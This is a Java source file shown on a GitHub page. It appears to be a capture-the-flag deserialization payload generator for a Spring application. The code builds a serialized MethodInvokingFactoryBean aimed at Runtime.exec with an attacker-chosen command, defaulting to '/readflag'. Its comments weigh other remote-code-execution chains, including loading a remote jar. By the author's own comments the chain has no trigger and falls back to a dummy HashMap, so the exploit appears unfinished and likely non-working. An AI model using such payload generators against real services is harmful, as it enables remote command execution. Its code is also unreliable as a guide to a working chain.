-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathGenSpring.java
More file actions
104 lines (80 loc) · 4 KB
/
Copy pathGenSpring.java
File metadata and controls
104 lines (80 loc) · 4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
/**
* Spring + JDK 反序列化 Payload 生成器
*
* 编译: javac -cp bypassit.jar GenSpring.java
* 运行: java -cp bypassit.jar;. GenSpring > payload.bin
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import java.net.*;
// 尝试用纯 JDK 构造 payload, Spring 类用于辅助
public class GenSpring {
public static void main(String[] args) throws Exception {
String cmd = args.length > 0 ? args[0] : "/readflag";
System.err.println("[*] Target command: " + cmd);
// ============================================================
// 方案 A: 若 MethodInvokingFactoryBean 可用
// ============================================================
try {
Class<?> mifbClass = Class.forName(
"org.springframework.beans.factory.config.MethodInvokingFactoryBean");
System.err.println("[+] MethodInvokingFactoryBean found");
Object bean = mifbClass.getDeclaredConstructor().newInstance();
// setTargetObject(Runtime.getRuntime())
Method setTargetObject = mifbClass.getMethod("setTargetObject", Object.class);
setTargetObject.invoke(bean, Runtime.getRuntime());
// setTargetMethod("exec")
Method setTargetMethod = mifbClass.getMethod("setTargetMethod", String.class);
setTargetMethod.invoke(bean, "exec");
// setArguments
Method setArguments = mifbClass.getMethod("setArguments", Object.class);
setArguments.invoke(bean, new Object[]{cmd});
// 触发: 把它放进 HashMap 作为 value
// HashMap 反序列化时会调用 bean 的某些方法...
// 但 MethodInvokingFactoryBean 需要 afterPropertiesSet() 才会调用目标方法
// 而 readObject 不会调用 afterPropertiesSet()
// 所以需要另一个触发点
// 使用 java.util.PriorityQueue 作为入口
// 创建简单的序列化 payload
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bean);
oos.close();
byte[] data = baos.toByteArray();
System.out.write(data);
System.err.println("[*] Payload A: " + data.length + " bytes");
return;
} catch (ClassNotFoundException e) {
System.err.println("[-] Spring not available for compiling, generating raw bytes");
}
// ============================================================
// 方案 B: 纯 JDK 链 - BadAttributeValueExpException
// ============================================================
generateJDKOnly(cmd);
}
static void generateJDKOnly(String cmd) throws Exception {
// 使用 EventHandler 创建代理
// 代理 Comparator 接口
// 当 compare(Object a, Object b) 被调用时
// 转发为 a.toString() 然后...
// 实际上, EventHandler 不能直接调 Runtime.exec
// 因为 Runtime 不 Serializable
// 但可以调一个能访问到的 serializable 对象的 public 方法
// 比如 System.setProperty() 或类似
// 但是命令执行需要 Runtime/ProcessBuilder
// ============================================================
// 最终方案: 用 URLClassLoader 加载远程 jar
// 这需要远程 jar 服务器, 我们没有
// ============================================================
System.err.println("[!] JDK-only RCE without TemplatesImpl is complex");
System.err.println("[!] Generating simple HashMap test payload instead");
HashMap<String, String> test = new HashMap<>();
test.put("flag", "test");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(test);
oos.close();
System.out.write(baos.toByteArray());
}
}